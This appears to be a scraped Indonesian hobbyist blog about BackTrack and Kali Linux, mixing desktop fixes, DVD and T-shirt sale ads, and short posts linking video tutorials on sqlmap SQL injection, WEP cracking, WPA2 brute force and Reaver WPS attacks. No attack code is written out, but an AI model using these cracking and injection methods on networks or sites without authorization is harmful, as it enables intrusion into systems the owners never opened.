Important Note:- When creating/formatting the ext4 filesystem, make sure to add “-O ^extent” which means disabling the “extent” feature bit. The following steps will not work if your ext4 filesystem still has “extent” feature enabled. ext2 and ext3 partitions should be fine.
First Download ext2fsd from here
Right-click the downloaded file and click Properties. Set the compatibility mode to “Windows Vista Service Pack 2? and check “Run as administrator”.
Run the ext2fsd installer. During install, we recommend you uncheck the “enable write access” feature to safeguard against losing data in your Linux partitions.
Restart your Windows 7 PC and run the Ext2 Volume Manager from Start Menu.
Important Note:- Use these tools with your own risk if you don't use them properly it will remove your linux partition data
If you have any other tools to do this you share with us.

source link : http://www.ubuntugeek.com/how-to-read-ext3ext4-linux-partition-from-windows-7.html

SQL Injection using sqlmap.py by myself


Video Tutorial ini hanyalah untuk bahan pembelajaran saja, tidak ada yang rusak/dirusak dalam contoh domain dalam video...jika anda suka, LIKE this video tutorial plz :D

This video tutorial just wanna show you how to use sqlmap.py ... no harm with the example domain/target inside this video .... just for education purposed ....
if you like it ... rate my video :D

visit my blog at http://gr33nc0d3-info.blogspot.com ;... just a simple blog ...

Saturday, December 8, 2012

FIXED : Amarok Backtrack 5 R3

Selamat pagi temen2 semua, pagi ini jam 4 lewat 7 menit saya ingin berbagi 1 informasi. Jika temen2 sudah install Backtrack 5 R3 dan juga sudah install amarok, tetapi tidak dapat memainkan file MP3, berikut ini adalah langkah2 untuk memperbaikinya :

1. Tentunya sudah terinstall dengan Amarok, kalau belum silahkan ketikan :
#apt-get install Amarok

2. Install gxine dengan cara, ketikan :
#apt-get install gxine

3. Jalankan Amarok dan load file-file MP3 kesayangan temen2, dan coba PLAY.

4. Jika tidak dapat juga coba langkah berikut :
#apt-get install gstreamer0.10-pitfdll gstreamer0.10-ffmpeg

atau

#apt-get install gstreamer0.10-pitfdll gstreamer0.10-ffmpeg gstreamer0.10-plugins-bad gstreamer0.10-plugins-bad-multiverse gstreamer0.10-plugins-ugly gstreamer0.10-plugins-ugly-multiverse gxine libxine-main1 libxine-extracodecs ogle ogle-gui

5. Coba jalankan kembali Amarok nya dan PLAY MP3 nya

Wednesday, November 28, 2012

backtrack 5 R3 - Automatically Cracking WEP Networks


This video is to show beginners how they can automatically crack a WEP Wireless network using autocrack which is a Open Source Project.
Please remember that in some countrys and states trying to preform an attack on a network you don't have authorization to preform attacks on is consider illegal please only use this on your own networks.

Wednesday, November 14, 2012

dracos-linux | in the dark, we can see you




racos-linux is a security oriented operating system developed based on ubuntu.10.04 LTS server (long time support) with some set of penetration testing systems tools, IPS / IDS, Forensics and reverse engineering tools that based on GNU and opensource project. Dracos-Linux will be used mainly for security auditing. We built this operating system with 3 main directory / attack / defense / foresics. In the first version, Dracos use fluxbox as desktop ( see last version NewReleases ) Fluxbox is a very lightweight desktop Environtment so Dracos can be used in low-resource hardware computer / laptop. Right now we have released three versions of Dracos ,


Dracos linux release


Download


No ISO-Version Desktop Compatibility Download Md5
1 Dracos1 final fluxboxi386Download
2 Dracos1 final U1 fluxboxi386Download
3Dracos1final U2?fluxboxi386 Download
4Dracos2 beta-2xfceX64Download6b96f5502fea855dba8976f062de7e03


Please check our NewReleases here , or check our TimeLine project here

Repository Project



List repository


LTS repository ( watch tower )


Repository is under construction, Our packed program to facilitate the user in installing or upgrading easily. If you would like to contribute please contact us.
DRACOS DRAWAPALA LTS REPOSITORY dracos-linux.org/wiki/Repo-fix

List of official links


Original code released by Dracos GNU/Linux is distributed under a BSD license. Software bundled with Dracos is licensed under GPL, LGPL, BSD, and others. Check if it's legal to use this software in your region before installing. Dracos comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.


Wednesday, November 7, 2012

WiFu - Cracking WPA2 Without Aireplay Deauth

Source : https://xsanlahci.wordpress.com/2012/11/08/cracking-wpa2-tanpa-aireplay-deauth/



This demo is a real bruteforce using crunch for generate password, and i pipe to aircrack-ng for breack the wpa key

Crack WPA real bruteforce (no dictionary) (crack WPA, with aircrack-ng and crunch) (HD)
http://www.youtube.com/watch?v=PUssVIFNA2s

Tuesday, November 6, 2012

How To Crack WPA/WPA2 WPS Using Reaver & Backtrack 5r3 (NO DICTIONARY)




This video will show you how to crack wpa/wpa2 by getting the wps pin using reaver with backtrack.

Video ini akan menunjukan kepada kalian bagaimana crack wpa/wpa2 password dengan mendapatkan wps pin dengan menggunakan tool reaver dalam backtrack.

Monday, November 5, 2012

Flight With Backtrack - Open Class


FLIGHT WITH BACKTRACK

OPEN CLASS

FREE TRAINING & COURSE

Demi memajukan generasi IT Indonesia , dimana telah di rumuskan pada visi dan misi kami , maka kami segenap keluarga besar IBT membuka kursus menggunakan tools-tools backtrack dengan sertifikasi attendance yang di keluarkan oleh forum kami.

Flight With Backtrack - Open Class

Backtrack 5 R3 Black Hat Edition - Paket DVD

---------------------------------------------------------------------------------------------------
Paket 1
---------------------------------------------------------------------------------------------------


DVD Backtrack 5 R3 - BlackHat Edition (GNOME 32Bit)
Rp. 20.000 (*blm ongkir)
Speed Burn - 4x / 8x (verified)
DVD-R SONY + CASE
Sudah di test di laptop ane sendiri
Acer Aspire 5750G (i7-2630QM 2Ghz)
Lancar / gak ada masalah

Pengiriman JNE

Yang berminat hubungi saya langsung :
E-Mail : gr33nc0d3@gmail.com
Contact No : 0819 29660069 (SMS Only)
 
Bank BCA 8895064650 a.n. Effendi (My Brother)
---------------------------------------------------------------------------------------------------
Paket2
---------------------------------------------------------------------------------------------------



---------------------------------------------------------------------------------------------------

 Kaos DTG Indonesian Backtrack [UnOfficial] + DVD Backtrack 5 R3 - BlackHat Edition (GNOME 32Bit)
Kaos nya OBLONG bukan kaos ber-kerah
Rp. 115.000 (*blm ongkir)

Bahan Kaos - Combed 20S / 24S - Sablon Manual
Size S M L (XL XXL XXL + Rp. 10.000)

 
Pengiriman JNE

Yang berminat hubungi saya langsung :
E-Mail : gr33nc0d3@gmail.com
Contact No : 0819 29660069 (SMS Only)
 
MN Distro | Bank Account BCA
889 5013 788  | a.n. Surya Saputra


Sunday, November 4, 2012

Backtrack 5 - darkmysqli



Sebenarnya sudah banyak sekali video2 tutorial seputar Backtrack-Linux Tools. Tinggal bagaimana kita mencarinya. Kalau sempat nanti saya upload kan video versi sendiri. 
Ini hanyalah salah satu dari sekian banyak video tutorialnya.

Backtrack 5 - sqlmap



Cara menggunakan tool sqlmap di Backtrack 5. Atau kalau mau lebih banyak lagi video ttg penggunaan sqlmap : sqlmap Backtrack 5 Tutorials

Backtrack 5 - Update Script

 #git clone git://github.com/sickn3ss/backtrack_update.git
 #cd backtrack_update
 #chmod a+x backtrack5_update.py
 #./backtrack5_update.py --update all 
 --update all : untuk update semuanya
 --update tools : untuk update tools saja
 --update system : untuk update system 
source : http://www.backtrack-linux.org/forums/showthread.php?t=41766

Kali Linux - vlc as root ???

VLC is a free and open source cross-platform multimedia player and framework that plays most multimedia files as well as DVDs, Audio CDs, VCDs, and various streaming protocols. It is one of the most used and popular Media player for Linux users.Very easy to install as it’s available via almost any Linux distro’s repo. However, in case you use Linux as root user like me, (or you’re a fellow Kali Linux user) then you have already seen this error “VLC is not supposed to be run as root. Sorry“. This post will go through the steps required to run vlc as root in Linux (any Linux to be precise).

In case you don’t have VLC installed, you can use the following command:

apt-get install vlc
 
But when you try to run VLC as root, you will see the following error:

Fixing VLC is not supposed to be run as root. Sorry error. - blackMORE Ops -1


VLC running as root error - Click to expand

Fixing “VLC is not supposed to be run as root. Sorry” error.

Though it is not advisable to run the applications as root, but there is a way to do that. First of all, take a backup:

root@kali:~# cp /usr/bin/vlc /usr/bin/vlc-backup
 




 Fixing VLC is not supposed to be run as root. Sorry error. - blackMORE Ops -2

Now open vlc binary using hexeditor:

root@kali:~# hexeditor /usr/bin/vlc
 
This will open VLC binary in hexeditor. Press CTRL+W to open search window. Select “search for text string” and press enter.


Fixing VLC is not supposed to be run as root. Sorry error. - blackMORE Ops -3

Type in geteuid and press Enter.


Fixing VLC is not supposed to be run as root. Sorry error. - blackMORE Ops -4


Now Press Tab key on your keyboard.  This switches you to ASCII side of hexeditor.
Replace geteuid with getppid as shown in the image below:

Fixing VLC is not supposed to be run as root. Sorry error. - blackMORE Ops -5

Press Ctrl + X to exit saving changes. Save as /usr/bin/vlc.

Fixing VLC is not supposed to be run as root. Sorry error. - blackMORE Ops -6
To revert your changes, you just need to restore the backup created earlier:
 
root@kali:~# cp /usr/bin/vlc-backup /usr/bin/vlc

Pretty easy.

credit to this link : https://www.blackmoreops.com/2015/11/02/fixing-vlc-is-not-supposed-to-be-run-as-root-sorry-error/

Backtrack 5 - wicd error ???

jalankan bash / terminal :

#dpkg-reconfigure wicd
#update-rc.d wicd defaults 
Reboot dan coba lagi :D
Mudah2an tips singkat ini bisa membantu menyelesaikan masalah temen2 :D